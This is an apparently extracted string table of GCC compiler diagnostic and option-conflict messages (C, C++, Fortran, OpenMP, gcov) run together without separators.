ignoring%<#pragma omp barrier%> may only be used in compound statements%<#pragma omp flush%> may only be used in compound statements%<#pragma omp section%> may only be used in %<#pragma omp sections%> construct%<%%%> constraint used with last operand%<%%%c%> yields only last 2 digits of year%<%%%c%> yields only last 2 digits of year in some locales%<%D::%D%> is not a member of %qT%<%T::%D%> is not a valid declarator%<%T::%D%> names constructor%<%T::%D%> names constructor in %qT%<%T::%D%> names destructor%<%c%s%> not found in protocol(s)%<%s %E%> declared inside parameter list%<%s%> 2.95 vtable-compatibility attribute applies only to C++ classes%<%s%> 2.95 vtable-compatibility attribute applies only when compiling a kext%<&%> constraint used with no register class%<-%s%> conflicts with the other architecture options, which specify a %s processor%<-femit-struct-debug-detailed=dir:...%> must allow at least as much as %<-femit-struct-debug-detailed=ind:...%>%<-gnat%> misspelled as %<-gant%>%<-march=%s%> is not compatible with the selected ABI%<-mgp32%> and %<-mfp64%> can only be combined if the target supports the mfhc1 and mthc1 instructions%<-mgp32%> and %<-mfp64%> can only be combined when using the o32 ABI%<-mgp32%> used with a 64-bit ABI%<-mgp64%> used with a 32-bit ABI%<-mgp64%> used with a 32-bit processor%<-mips3d%> requires %<-mpaired-single%>%<-mno-gpopt%> needs %<-mexplicit-relocs%>%<...%> as arguments.)%<...%> has invalid operand number%<::main%> must return %<int%>%<<:%> is an alternate spelling for %<[%>. Insert whitespace between %<<%> and %<::%>%<<::%> cannot begin a template-argument list%<@end%> missing in implementation context%<@end%> must appear in an @implementation context%<@throw%> (rethrow) used outside of a @catch block%<@try%> without %<@catch%> or %<@finally%>%<[*]%> not allowed in other than function prototype scope%<_Sat%> is used without %<_Fract%> or %<_Accum%>%<__BELOW100__%> attribute only applies to variables%<__alignof%> applied to a bit-field%<__builtin_longjmp%> second argument must be 1%<__builtin_next_arg%> called without an argument%<__gcc_host_wide_int__%> is not defined as %<long%> or %<long long%>%<__gcc_host_wide_int__%> is not defined as a type%<__thread%> before %<extern%>%<__thread%> before %<static%>%<__thread%> used with %<auto%>%<__thread%> used with %<register%>%<__thread%> used with %<typedef%>%<__thread%> used with %qE%<and%> of mutually exclusive equal-tests is always 0%<asm%> operand constraint incompatible with operand size%<asm%> operand has impossible constraints%<asm%> operand requires impossible reload%<asm%> specifiers are not permitted on non-static data members%<auto%> in file-scope empty declaration%<const%> and %<volatile%> function specifiers on %qD invalid in %s declaration%<default%> label in scope of identifier with variably modified type not containing enclosing switch statement%<default%> label in statement expression not containing enclosing switch statement%<default%> label not within a switch statement%<dynamic_cast%> not permitted with -fno-rtti%<else%> without a previous %<if%>%<enum %E%> declared in %<for%> loop initial declaration%<explicit%> can only be specified for constructors%<friend%> can only be specified inside a class%<gnu_inline%> attribute present on %q+D%<inline%> in empty declaration%<inline%> is not allowed in declaration of friend template specialization %qD%<inline%> specified for friend class declaration%<inline%> specifier invalid for function %qs declared out of global scope%<location_t%> is not defined as a type%<locus%> is not defined as a type%<long long long%> is too long for GCC%<long long%> invalid for %qs%<long%> and %<short%> specified together for %qs%<long%> invalid for %qs%<long%> or %<short%> invalid for %qs%<long%> or %<short%> specified with char for %qs%<long%> switch expression not converted to %<int%> in ISO C%<noreturn%> function returns non-void value%<operator delete%> must return type %qT%<operator delete%> takes type %qT as first parameter%<operator new%> must not return NULL unless it is declared %<throw()%> (or -fcheck-new is in effect)%<operator new%> must return type %qT%<operator new%> takes type %<size_t%> (%qT) as first parameter%<operator=%> should return a reference to %<*this%>%<or%> of unmatched not-equal tests is always 1%<register%> in file-scope empty declaration%<return%> with a value, in function returning void%<return%> with no value, in function returning non-void%<short%> invalid for %qs%<signed%> and %<unsigned%> specified together for %qs%<signed%> or %<unsigned%> invalid for %qs%<static%> may not be used when defining (as opposed to declaring) a static data member%<static%> specified invalid for function %qs declared out of global scope%<struct %E%> declared in %<for%> loop initial declaration%<this%> is unavailable for static member functions%<threadprivate%> %qE has incomplete type%<trap%> and %<far%> attributes are not compatible, ignoring %<far%>%<trap%> attribute is already used%<tree%> is not defined as a pointer type%<tree%> is not defined as a type%<typedef%> was ignored in this declaration%<typename %T::%D%> names %q#T, which is not a class template%<typename %T::%D%> names %q#T, which is not a type%<union %E%> declared in %<for%> loop initial declaration%<va_start%> used in function with fixed args%<void%> as only parameter may not be qualified%<void%> must be the only parameter%D renamed after being referenced in assembly%H   by earlier handler for %<%T%>%H   by earlier handler for %qT%H  from here%H%<#pragma omp section%> may only be used in %<#pragma omp sections%> construct%H%<...%> handler must be the last handler for its try block%H%<>>%> operator will be treated as two right angle brackets in C++0x%H%<>>%> should be %<> >%> within a nested template argument list%H%<else%> without a previous %<if%>%H%<noreturn%> function does return%H%qE defined as wrong kind of tag%H%qE undeclared (first use in this function)%H%qE undeclared here (not in a function)%H%qs is not valid for %qs%H%s%H(Each undeclared identifier is reported only once%HCorrupted value profile: %s profiler overall count (%d) does not match BB count (%d)%Harray subscript is above array bounds%Harray subscript is below array bounds%Harray subscript is outside array bounds%Hcreating selector for nonexistent method %qE%Hduplicate class will only be compiled once%Hduplicate label %qD%Henclosing parallel%Henumeration value %qE not handled in switch%Hexception of type %qT will be caught%Hfor each function it appears in.)%Hignoring #pragma %s %s%Hignoring return value of %qD, declared with attribute warn_unused_result%Hignoring return value of function declared with attribute warn_unused_result%Hinvalid controlling predicate%Hinvalid increment expression%Hinvalid type for iteration variable %qE%Hmissing controlling predicate%Hmissing increment expression%Hprototype declaration%Hschedule %<runtime%> does not take a %<chunk_size%> parameter%Hstatement with no effect%Hstray %<@%> in program%Hsuggest explicit braces to avoid ambiguous %<else%>%Hswitch missing default case%Htraditional C lacks a separate namespace for labels, identifier %qE conflicts%Hvalue computed is not used%Hwill never be executed%J  because the following virtual functions are pure within %qT:%J  enters catch block%J  since type %qT has pure virtual functions%J  when initialized here%J  you can work around this by removing the initializer%J%<externally_visible%> attribute have effect only on public objects%J%qD should be initialized in the member initialization list%J%qD was declared here%J%qE attribute applies only to functions%J%s %<%c%s%>%J%s %qs%Jabstract method in non-abstract class%Jaddress area attribute cannot be specified for functions%Jalias definitions not supported in this configuration%Jan address area attribute cannot be specified for local variables%Jan anonymous struct cannot have function members%Jan anonymous union cannot have function members%Jbase class %q#T should be explicitly initialized in the copy constructor%Jbut not here%Jcan%'t set %qE attribute after definition%Jcase value %qs not in enumerated type%Jcase value %qs not in enumerated type %qT%Jconflicts with previous declaration here%Jdata area attributes cannot be specified for local variables%Jflexible array member in otherwise empty struct%Jflexible array member in union%Jflexible array member not at end of struct%Jfollows non-prototype definition here%Jfunction might be possible candidate for attribute %<noreturn%>%Jinitializations for multiple members of %qT%Jinvalid use of structure with flexible array member%Jjump into scope of identifier with variably modified type%Jjump into statement expression%Jmultiple initializations given for %qD%Jmultiple initializations given for base %qT%Jold-style function definition%Jold-style parameter declarations in prototyped function definition%Jonly weak aliases are supported in this configuration%Joriginal definition appeared here%Jparameter %u has incomplete type%Jparameter %u has void type%Jparameter name missing from parameter list%Jparameter name omitted%Jprevious definition here%Jpreviously used here%Jsection attribute cannot be specified for local variables%Jsection attributes are not supported for this target%Jshadowed declaration is here%Jthis is the first default label%Jthis is the first entry overlapping that value%Jtotal size of local objects too large%Jtraditional C rejects ISO C style function definitions%Jtypedef name may not be a nested-name-specifier%Juninitialized member %qD with %<const%> type %qT%Juninitialized reference member %qD%Jweakref attribute must appear before alias attribute%Jweakref is not supported in this configuration%Kcall to %D might overflow destination buffer%Kcall to %D will always overflow destination buffer%Kcall to %qs declared with attribute error: %s%Kcall to %qs declared with attribute warning: %s%Kfirst argument of %D must be a pointer, second integer constant%Kinvalid use of %<__builtin_va_arg_pack ()%>%Kinvalid use of %<__builtin_va_arg_pack_len ()%>%Klast argument of %D is not integer constant between 0 and 3%c REDUCTION variable '%s' at %L must be of numeric type, got %s%d constructor(s) found
%d destructor(s)  found
%d exits recorded for loop %d (having %d exits)%d frame table(s) found
%d least significant bits of %s are ignored.%i-bit mode not compiled in%q#D conflicts with previous using declaration %q#D%q#D hides constructor for %q#T%q#D is a static data member; it can only be initialized at its definition%q#D is not a non-static data member of %qT%q#D is not a static member of %q#T%q#D redeclared as different kind of symbol%q#T has pointer data members%q#T has virtual functions and accessible non-virtual destructor%q#T is not a class%q#T is not a template%q#T is not a valid type for a template constant parameter%q#T only defines a private destructor and has no friends%q#T only defines private constructors and has no friends%q#T used where a %qT was expected%q#T used where a floating point value was expected%q+#D cannot be declared%q+#D cannot be overloaded%q+#D does not refer to the unqualified type, so it is not used for linkage%q+#D invalid; an anonymous struct can only have non-static data members%q+#D invalid; an anonymous union can only have non-static data members%q+#D is inaccessible%q+#D is private%q+#D is protected%q+#D previously defined here%q+D aliased to external symbol %qs%q+D aliased to undefined symbol %qs%q+D already declared with dllexport attribute: dllimport ignored%q+D causes a section type conflict%q+D contains empty classes which may cause base classes to be placed at different locations in a future version of GCC%q+D declared as a friend%q+D declared as a non-parameter%q+D declared here%q+D declared with an exception specification%q+D defined both normally and as an alias%q+D defined but not used%q+D has a previous declaration as %q#D%q+D has a previous declaration here%q+D invalid in %q#T%q+D is normally a non-static function%q+D is not a function,%q+D is static but declared in inline function %qD which is not static%q+D is too small to hold all values of %q#T%q+D is usually a function%q+D may not be static because it is a member of a union%q+D may not have reference type %qT because it is a member of a union%q+D redeclared as different kind of symbol%q+D redeclared without dllimport attribute after being referenced with dll linkage%q+D redeclared without dllimport attribute: previous dllimport ignored%q+D takes only zero or two arguments%q+D used prior to declaration%q+D was hidden%q+D was used with no declaration before its definition%q+D was used with no prototype before its definition%q+D will be initialized after%q+D: visibility attribute ignored because it%q+D:'selectany' attribute applies only to initialized objects%q+F declared %<static%> but never defined%q+F used but never defined%q+T has a previous declaration here%qD appears more than once in data clauses%qD attribute directive ignored%qD attribute is meaningless since members of the anonymous namespace get local symbols%qD attribute requires a single NTBS argument%qD cannot appear in a constant-expression%qD cannot be declared virtual, since it is always static%qD cannot be initialized by a non-constant expression when being declared%qD cannot be thread-local because it has non-POD type %qT%qD cannot have default arguments%qD declared as a %<virtual%> %s%qD declared as an %<inline%> %s%qD declared as reference but not initialized%qD has an incomplete type%qD has incomplete type%qD has no member named %qE%qD has the same name as the class in which it is declared%qD is already a friend of %qT%qD is already a friend of class %qT%qD is already declared in this scope%qD is already defined in %qT%qD is already defined in class %qT%qD is already defined in the class %qT%qD is both a direct base and an indirect virtual base%qD is deprecated (declared at %s:%d)%qD is not a class or namespace%qD is not a function template%qD is not a member of %qT%qD is not a member template function%qD is not a static data member of a class template%qD is not a template%qD is not a template function%qD is not a type%qD is not a valid template argument because %qD is a variable, not the address of a variable%qD is not a variable in clause %qs%qD is not declared in %qD%qD is not defined outside of function scope%qD is thread-local and so cannot be dynamically initialized%qD may not be declared as static%qD may not be declared within a namespace%qD must be a nonstatic member function%qD must be either a non-static member function or a non-member function%qD must have an argument of class or enumerated type%qD must not have variable number of arguments%qD must take %<void%>%qD must take either one or two arguments%qD must take either zero or one argument%qD must take exactly one argument%qD must take exactly two arguments%qD not declared%qD not defined%qD redeclared with different visibility%qD should have been declared inside %qD%qD should never be overloaded%qD should return by value%qD used without template parameters%qD was declared %<extern%> and later %<static%>%qD was declared %qs which implies default visibility%qD was not declared in this scope%qE appears more than once in data clauses%qE attribute can only be applied to Java class definitions%qE attribute can only be applied to class definitions%qE attribute conflicts with attribute %s%qE attribute have effect only on public objects%qE attribute ignored%qE attribute ignored because %qT is already defined%qE attribute ignored for %qE%qE attribute ignored for field of type %qT%qE attribute ignored on non-class types%qE attribute ignored on types%qE attribute is not supported on this platform%qE attribute only applies to variadic functions%qE attribute requires prototypes with named arguments%qE cannot be used as a function%qE cannot be used as a member pointer, since it is of type %qT%qE declared %<threadprivate%> after first use%qE fails to be a typedef or built in type%qE has invalid type for %<reduction%>%qE has invalid type for %<reduction(%s)%>%qE has reference type for %qs%qE is an unrecognized format function type%qE is neither function nor member function; cannot be declared friend%qE is not a valid template argument for type %qT because function %qD has not external linkage%qE is not a valid template argument for type %qT because it is a non-constant expression%qE is not a valid template argument for type %qT because it is a pointer%qE is not a valid template argument for type %qT because it is not an lvalue%qE is not a valid template argument for type %qT because it is of type %qT%qE is not a valid template argument for type %qT because object %qD has not external linkage%qE is not a valid template argument for type %qT because of conflicts in cv-qualification%qE is not a valid template argument for type %qT because string literals can never be used in this context%qE is not a valid template argument of type %qT because %qD does not have external linkage%qE is not a valid template argument of type %qT because %qE is not a variable%qE is not a variable in clause %<firstprivate%>%qE is not a variable in clause %<lastprivate%>%qE is not a variable in clause %qs%qE is not at beginning of declaration%qE is not of type %qT%qE is obsolete; g++ vtables are now COM-compatible by default%qE is predetermined %qs for %qs%qE must be %<threadprivate%> for %<copyin%>%qE refers to a set of overloaded functions%qT declared with greater visibility than its base %qT%qT declared with greater visibility than the type of its field %qD%qT has a base %qT whose type uses the anonymous namespace%qT has a field %qD whose type uses the anonymous namespace%qT has no member named %qE%qT has no non-static data member named %qD%qT is a variably modified type%qT is already a friend of %qT%qT is an ambiguous base of %qT%qT is an inaccessible base of %qT%qT is not a base of %qT%qT is not a class or namespace%qT is not a class, struct, or union type%qT is not a member class template of %qT%qT is not a member of %qT%qT is not a namespace%qT is not a nested class of %qT%qT is not a pointer-to-object type%qT is not a template%qT is not a template type%qT is not an accessible base of %qT%qT is promoted to %qT when passed through %<...%>%qT is/uses anonymous type%qT referred to as %qs%qT referred to as enum%qT resolves to %qT, which is is not a class type%qT resolves to %qT, which is not an enumeration type%qV qualifiers cannot be applied to %qT%qs appears to be a misspelled interrupt handler%qs appears to be a misspelled signal handler%qs attribute applies only to initialized variables with external linkage%qs attribute argument not a string constant%qs attribute argument not an integer constant%qs attribute directive ignored%qs attribute does not apply to types%qs attribute ignored%qs attribute only applies to function types%qs attribute only applies to functions%qs attribute only applies to interrupt functions%qs attribute only applies to variables%qs attribute requires an integer constant argument%qs can only be specified for functions%qs cannot have both %<mips16%> and %<nomips16%> attributes%qs declared as both exported to and imported from a DLL%qs declared as function returning a function%qs declared as function returning an array%qs expects a constant argument%qs has both %<extern%> and initializer%qs has overflowed%qs implies default visibility, but %qD has already been declared with a different visibility%qs incompatible attribute ignored%qs initialized and declared %<extern%>%qs is deprecated%qs is deprecated (declared at %s:%d)%qs is narrower than values of its type%qs is not a gcov data file%qs is not a valid output file%qs is not an Objective-C class name or alias%qs is not valid for %qs%qs is version %q.*s, expected version %q.*s%qs may not respond to %<%c%s%>%qs must be used with %qs%qs not specified in enclosing parallel%qs redeclared as different kind of symbol%qs redeclared with conflicting %qs attributes%qs tag used in naming %q#T%qs uses dynamic stack allocation%s%s
%s %+#D%s %+#D <near match>%s %+#T%s %D(%T) <built-in>%s %D(%T, %T) <built-in>%s %D(%T, %T, %T) <built-in>%s %T <conversion>%s %q+D %s after being referenced with dllimport linkage%s %qs does not fully implement the %qs protocol%s %s %p %d
%s %s%s
%s %s(%E) %p %d
%s '%s'
%s REDUCTION variable '%s' must be INTEGER at %L%s REDUCTION variable '%s' must be INTEGER or REAL at %L%s REDUCTION variable '%s' must be LOGICAL at %L%s at %L must be INTEGER%s at %L must be a scalar%s attribute at %L is not allowed outside of the specification part of a module%s attribute conflicts with %s attribute at %L%s attribute conflicts with %s attribute in '%s' at %L%s attribute not allowed in BLOCK DATA program unit at %L%s attribute of '%s' conflicts with %s attribute at %L%s between distinct pointer types %qT and %qT lacks a cast%s between distinct pointer-to-member types %qT and %qT lacks a cast%s cannot be used in asm here%s cannot resolve address of overloaded function%s clause object '%s' has ALLOCATABLE components at %L%s does not support %%n$ operand number formats%s does not support %s%s does not support %s with the %<%%%c%> %s format%s does not support block_ends_with_call_p%s does not support block_ends_with_condjump_p%s does not support can_duplicate_block_p%s does not support can_merge_blocks_p%s does not support can_remove_branch_p%s does not support create_basic_block%s does not support delete_basic_block%s does not support duplicate_block%s does not support flow_call_edges_add%s does not support make_forwarder_block%s does not support merge_blocks%s does not support move_block_after%s does not support predict_edge%s does not support predicted_by_p%s does not support redirect_edge_and_branch%s does not support redirect_edge_and_branch_force%s does not support split_block%s does not support split_edge%s does not support the %<%%%c%> %s format%s does not support the %<%%%s%c%> %s format%s does not support the %qs %s length modifier%s expects an integer literal in the range [%d, %d].%s expects an integer literal in the range [%d, %d]. (%s expression list treated as compound expression%s for %<operator%s%> in %<%E %s %E%>%s for %<operator%s%> in %<%E%s%>%s for %<operator%s%> in %<%s%E%>%s for %<operator[]%> in %<%E[%E]%>%s for %qs in %<%s %E%>%s for ternary %<operator?:%> in %<%E ? %E : %E%>%s has no effect%s ignored with %s and %<%%%c%> %s format%s ignored with %s in %s format%s is a reference, not call, to function %qE%s is not INTRINSIC procedure name at %C%s is not supported by this configuration%s might be a candidate for a format attribute%s of function %qD%s of read-only location %qE%s of read-only named return value %qD%s of read-only parameter %qD%s of read-only reference %qD%s procedure at %L is already declared as %s procedure%s returned %d exit status%s should have type %<%T%s%>, but argument %d has type %qT%s should have type %<%s%s%>, but argument %d has type %qT%s specifier in %s statement at %C has invalid value '%s'%s statement at %C cannot follow %s statement at %L%s statement at %C cannot terminate a non-block DO loop%s statement at %C follows another accessibility specification%s statement at %C is not within a loop%s statement at %C is not within loop '%s'%s statement at %C leaving OpenMP structured block%s statement expected at %L%s statement must appear in a MODULE%s statement not allowed in PURE procedure at %C%s tag at %L must be of type %s%s tag at %L must be scalar%s terminated with signal %d [%s]%s%s used with %<%%%c%> %s format%s variable %qs is private in outer context%s%s%s %sversion %s (%s)
%s	compiled by GNU C version %s, %s%s%s %sversion %s (%s) compiled by CC, %s%sGGC heuristics: --param ggc-min-expand=%d --param ggc-min-heapsize=%d
%s%swarning: %s header version %s differs from library version %s.
%s-%s is an empty range%s: %d basic blocks and %d edges/basic block%s: %d basic blocks and %d registers%s: %d: '%s' used but missing from SYSCALLS
%s: %d: warning: '%s' excluded by preprocessing
%s: %d: warning: definition of %s not converted
%s: %d: warning: found '%s' but expected '%s'
%s: %d: warning: no extern definition for '%s'
%s: %d: warning: source too confusing
%s: %d: warning: varargs function declaration not converted
%s: %s%s: %s compiler not installed on this system%s: %s exited with status %d
%s: %s: can't get status: %s
%s: '%s' not converted
%s: --param arguments should be of the form NAME=VALUE%s: Cannot open output file: %s
%s: Failed to close output file %s
%s: PCH file was invalid%s: attempt to rename spec '%s' to already defined spec '%s'%s: can't change mode of file '%s': %s
%s: can't create/open clean file '%s': %s
%s: can't create/open output file '%s': %s
%s: can't delete aux info file '%s': %s
%s: can't delete file '%s': %s
%s: can't get status for file '%s': %s
%s: can't get status of aux info file '%s': %s
%s: can't link file '%s' to '%s': %s
%s: can't open aux info file '%s' for reading: %s
%s: can't open file '%s' for reading: %s
%s: can't read aux info file '%s': %s
%s: cannot get working directory: %s
%s: cannot open as COFF file%s: compiling '%s'
%s: conflict list for '%s' follows:
%s: conflicting extern definitions of '%s'
%s: converting file '%s'
%s: couldn%'t open PCH file: %m%s: declaration of function '%s' not converted
%s: declarations of '%s' will not be converted
%s: definition of function '%s' not converted
%s: error closing aux info file '%s': %s
%s: error reading aux info file '%s': %s
%s: error writing file '%s': %s
%s: found definition of '%s' at %s(%d)
%s: function definition not converted
%s: global declarations for file '%s' not inserted
%s: input file names must have .c suffixes: %s
%s: invalid file name: %s
%s: linker input file unused because linking not done%s: local declaration for function '%s' not inserted
%s: multiple static defs of '%s' in file '%s'
%s: not a COFF file%s: subprocess got fatal signal %d
%s: usage '%s [ -VqfnkN ] [ -i <istring> ] [ filename ... ]'
%s: usage '%s [ -VqfnkNlgC ] [ -B <dirname> ] [ filename ... ]'
%s: wait: %s
%s: warning: can't rename file '%s' to '%s': %s
%s: warning: file '%s' already saved in '%s'
%s: warning: missing SYSCALLS file '%s'
%s: warning: no read access for file '%s'
%s: warning: no static definition for '%s' in file '%s'
%s: warning: no write access for dir containing '%s'
%s: warning: no write access for file '%s'
%s: warning: too many parameter lists in declaration of '%s'
%s: warning: using formals list from %s(%d) for function '%s'
%s: would convert file '%s'
%s:%d: Illegal preprocessor directive%s:%d: confused by earlier errors, bailing out
%s:%d: declaration of function '%s' takes different forms
%s:%d: file %s left but not entered%s:'%s' has arcs from exit block
%s:'%s' has arcs to entry block
%s:'%s' lacks entry and/or exit blocks
%s:already seen blocks for '%s'
%s:cannot open data file, assuming not executed
%s:cannot open graph file
%s:cannot open source file
%s:corrupted
%s:could not open output file '%s'
%s:creating '%s'
%s:error writing output file '%s'
%s:graph is unsolvable for '%s'
%s:no functions found
%s:no lines for '%s'
%s:not a gcov data file
%s:not a gcov graph file
%s:overflowed
%s:profile mismatch for '%s'
%s:source file is newer than graph file '%s'
%s:stamp mismatch with graph file
%s:unknown function '%u'
%s:version '%.4s', prefer '%.4s'
%s:version '%.4s', prefer version '%.4s'
'' ' flag'!' flag'#' flag'%%%c' is not a valid operand prefix'%%l' operand isn't a label'%s' and '%s' arguments of '%s' intrinsic at %L must have the same type'%s' argument of '%s' intrinsic at %L cannot be INTENT(IN)'%s' argument of '%s' intrinsic at %L must be %s'%s' argument of '%s' intrinsic at %L must be ALLOCATABLE'%s' argument of '%s' intrinsic at %L must be INTEGER or LOGICAL'%s' argument of '%s' intrinsic at %L must be INTEGER or PROCEDURE'%s' argument of '%s' intrinsic at %L must be INTEGER or REAL'%s' argument of '%s' intrinsic at %L must be REAL or COMPLEX'%s' argument of '%s' intrinsic at %L must be a POINTER'%s' argument of '%s' intrinsic at %L must be a POINTER or a TARGET'%s' argument of '%s' intrinsic at %L must be a constant'%s' argument of '%s' intrinsic at %L must be a logical array'%s' argument of '%s' intrinsic at %L must be a non-derived type'%s' argument of '%s' intrinsic at %L must be a numeric type'%s' argument of '%s' intrinsic at %L must be a pointer or target VARIABLE or FUNCTION'%s' argument of '%s' intrinsic at %L must be a scalar'%s' argument of '%s' intrinsic at %L must be a variable'%s' argument of '%s' intrinsic at %L must be an array'%s' argument of '%s' intrinsic at %L must be default real'%s' argument of '%s' intrinsic at %L must be double precision'%s' argument of '%s' intrinsic at %L must be less than rank %d'%s' argument of '%s' intrinsic at %L must be numeric or LOGICAL'%s' argument of '%s' intrinsic at %L must be of a dummy variable'%s' argument of '%s' intrinsic at %L must be of a kind not wider than the default kind (%d)'%s' argument of '%s' intrinsic at %L must be of an OPTIONAL dummy variable'%s' argument of '%s' intrinsic at %L must be of kind %d'%s' argument of '%s' intrinsic at %L must be of rank %d'%s' argument of '%s' intrinsic at %L must be of rank 1 or 2'%s' argument of '%s' intrinsic at %L must be of type REAL or COMPLEX'%s' argument of '%s' intrinsic at %L must be the same kind as '%s''%s' argument of '%s' intrinsic at %L must be the same type and kind as '%s''%s' argument of '%s' intrinsic at %L must not be OPTIONAL'%s' argument of '%s' intrinsic at %L must not be a subobject of '%s''%s' argument of '%s' intrinsic at %L must not be present if 'x' is COMPLEX'%s' at %C is not a member of the '%s' structure'%s' at %C is not a variable'%s' at %C is the name of a recursive function and so refers to the result variable. Use an explicit RESULT variable for direct recursion (12.5.2.1)'%s' at %L already is initialized at %L'%s' at %L cannot have the VALUE attribute because it is not a dummy argument'%s' at %L has a type, which is not consistent with the CALL at %L'%s' at %L is ambiguous'%s' at %L is an array and OPTIONAL; IF IT IS MISSING, it cannot be the actual argument of an ELEMENTAL procedure unless there is a non-optional argument with the same rank (12.4.1.5)'%s' at %L is not a VALUE'%s' at %L is not a function'%s' at %L is not a module procedure'%s' at %L must have constant character length in this context'%s' in the pointer assignment at %L cannot be an l-value since it is a procedure'%s' is already IMPORTed from host scoping unit at %C.'%s' is not a valid class name'%s' was assigned to '%s', but was not defined during recompilation, or vice versa'&' not allowed by itself in line %d''' flag'(' flag'+' flag'-%c' must come at the start of the command line'-%c' option must have argument'-' flag'-fd-lines-as-code' has no effect in free form'-fd-lines-as-comments' has no effect in free form'0' flag'B' operand has multiple bits set'B' operand is not constant'E' modifier'I' flag'MOLD' argument of 'TRANSFER' intrinsic at %L must not be %s'O' modifier'^' flag'_' flag'a%d' argument of '%s' intrinsic at %L must be %s(%d)'a' flag'a1' argument of '%s' intrinsic at %L must be INTEGER, REAL or CHARACTER'dim' argument of %s intrinsic at %L is not a valid dimension index'dim' argument of '%s' intrinsic at %L is not a valid dimension index'm' flag'o' operand is not constant'q' flag'shape' argument of 'reshape' intrinsic at %L has more than %d elements'shape' argument of 'reshape' intrinsic at %L must be an array of constant size'source' argument of 'shape' intrinsic at %L must not be an assumed size array(C)(Messages without a matching method signature(a pointer to member can only be formed with %<&%E%>)(an out of class initialization is required)(if this is not what you intended, make sure the function template has already been declared and add <> after the function name here) (if you use %<-fpermissive%>, G++ will accept your code, but allowing the use of an undeclared name is deprecated)(near initialization for %qs)(perhaps %<typename %T::%E%> was intended)(perhaps a semicolon is missing after the definition of %qT)(perhaps the %<offsetof%> macro was used incorrectly)(so you should pass %qT not %qT to %<va_arg%>)(the message is only displayed one per source file)
--param inline-unit-growth limit reached--param large-function-growth limit reached--param large-stack-frame-growth limit reached--param max-inline-insns-auto limit reached--param max-inline-insns-single limit reached--resource requires -o-E or -x required when input is from standard input-I- specified twice-Werror=%s: No option -%s-Wformat-contains-nul ignored without -Wformat-Wformat-extra-args ignored without -Wformat-Wformat-nonliteral ignored without -Wformat-Wformat-security ignored without -Wformat-Wformat-y2k ignored without -Wformat-Wformat-zero-length ignored without -Wformat-Xbind-now and -Xbind-lazy are incompatible-bundle not allowed with -dynamiclib-bundle_loader not allowed with -dynamiclib-c or -S required for Ada-client_name not allowed with -dynamiclib-current_version only allowed with -dynamiclib-f%s and -msdata=%s are incompatible-f%s ignored for 68HC11/68HC12 (not supported)-f%s ignored for Unicos/Mk (not supported)-f%s ignored for target (all code is position independent)-f%s is not supported with CONST16 instructions-f%s not supported: ignored-f%sleading-underscore not supported on this target machine-fPIC and -G are incompatible-fPIC and -fpic are not supported for this target-fPIC and -fpic are not supported in this configuration-fPIC and -mcall-%s are incompatible-falign-labels=%d is not supported-falign-loops=%d is not supported-fassociative-math disabled; other options take precedence-fblas-matmul-limit=<n>        Size of the smallest matrix for which matmul will use BLAS-fdata-sections not supported for this target-fdbg-cnt=%s-fdbg-cnt=<counter>:<limit>[,<counter>:<limit>,...]    Set the debug counter limit.   -fdirectives-only is incompatible with -Wunused_macros-fdirectives-only is incompatible with -traditional-femit-class-file should used along with -fsyntax-only-ffunction-sections disabled; it makes profiling impossible-ffunction-sections not supported for this target-fhandle-exceptions has been renamed -fexceptions (and is now on by default)-findirect-dispatch is incompatible with -freduced-reflection-finit-character=<n> Initialize local character variables to ASCII value n-finit-integer=<n> Initialize local integer variables to n-finit-logical=<true|false> Initialize local logical variables-finit-real=<zero|nan|inf|-inf> Initialize local real variables-finstrument-functions-exclude-file-list=filename,...  Do not instrument functions listed in files-finstrument-functions-exclude-function-list=name,...  Do not instrument listed functions-fjni and -femit-class-file are incompatible-fjni and -femit-class-files are incompatible-fjni is incompatible with -freduced-reflection-fno-gnu89-inline is only supported in GNU99 or C99 mode-force_flat_namespace not allowed with -dynamiclib-fpic and -mapcs-reent are incompatible-fprefetch-loop-arrays is not supported with -Os-fprefetch-loop-arrays not supported for this target-fprefetch-loop-arrays not supported for this target (try -march switches)-frecord-gcc-switches is not supported by the current target-freorder-blocks-and-partition does not support unwind info-freorder-blocks-and-partition does not work on this architecture-freorder-blocks-and-partition does not work with exceptions-frepo must be used with -c-fstack-protector not supported for this target-g is only supported when using GAS on this processor,-g option disabled-g with -mno-apcs-frame may not give sensible debugging-imultilib <dir> Set <dir> to be the multilib include subdirectory-install_name only allowed with -dynamiclib-keep_private_externs not allowed with -dynamiclib-m%s not supported in this configuration-m64 not supported in this configuration-m64 requires PowerPC64 architecture, enabling-m64 requires a PowerPC64 cpu-maix64 and POWER architecture are incompatible-maix64 required: 64-bit computation with 32-bit addressing not yet supported-maix64 requires PowerPC64 architecture remain enabled-malign-power is not supported for 64-bit Darwin; it is incompatible with the installed C and C++ libraries-mapcs-stack-check incompatible with -mno-apcs-frame-max-stackframe=%d is not usable, not between 0 and %d-mbackchain -mpacked-stack -mhard-float are not supported in combination-mbig-endian and -mlittle-endian may not be used together-mbnu210 is ignored (option is obsolete)-mcall-aixdesc must be big endian-mcmodel= is not supported on 32 bit systems-mcpu=%s conflicts with -march=%s-mcpu=%s has invalid silicon revision-mcpu=%s is not valid-mdynamic-no-pic overrides -fpic or -fPIC-mfloat-abi=hard and VFP-mglibc and -muclibc used together-mhard-dfp can't be used in conjunction with -msoft-float-mhard-float not supported-mieee not supported on Unicos/Mk-mieee-with-inexact not supported on Unicos/Mk-mlong-double-64 not allowed with -m64-mmultiple is not supported on little endian systems-mn is used without -mh or -ms-mpcrel -fPIC is not currently supported on selected cpu-mpic-register= is useless without -fpic-mrelax is only supported for RTP PIC-mrelocatable and -mcall-%s are incompatible-mrelocatable and -mno-minimal-toc are incompatible-mrelocatable and -msdata=%s are incompatible-ms2600 is used without -ms-msdata=%s and -mcall-%s are incompatible-msecure-plt not supported by your assembler-mshared-library-id= specified without -mid-shared-library-mshared-library-id=%s is not between 0 and %d-msingle-float and -msoft-float cannot both be specified-msoft-float and -mhard_float may not be used together-mstack-guard implies use of -mstack-size-mstring is not supported on little endian systems-munix=98 option required for C89 Amendment 1 features.
-pg and -fomit-frame-pointer are incompatible-pipe not supported-private_bundle not allowed with -dynamiclib-static-libgfortran is not supported in this configuration.NOT. operator in expression at %L must have a LOGICAL operand128-bit long double not supported for VAX floats31 bit ABI387 instruction set disabled, using SSE arithmetics64 bit ABI64-bit ABI not supported in ESA/390 mode64-bit E500 not supported<During initialization>
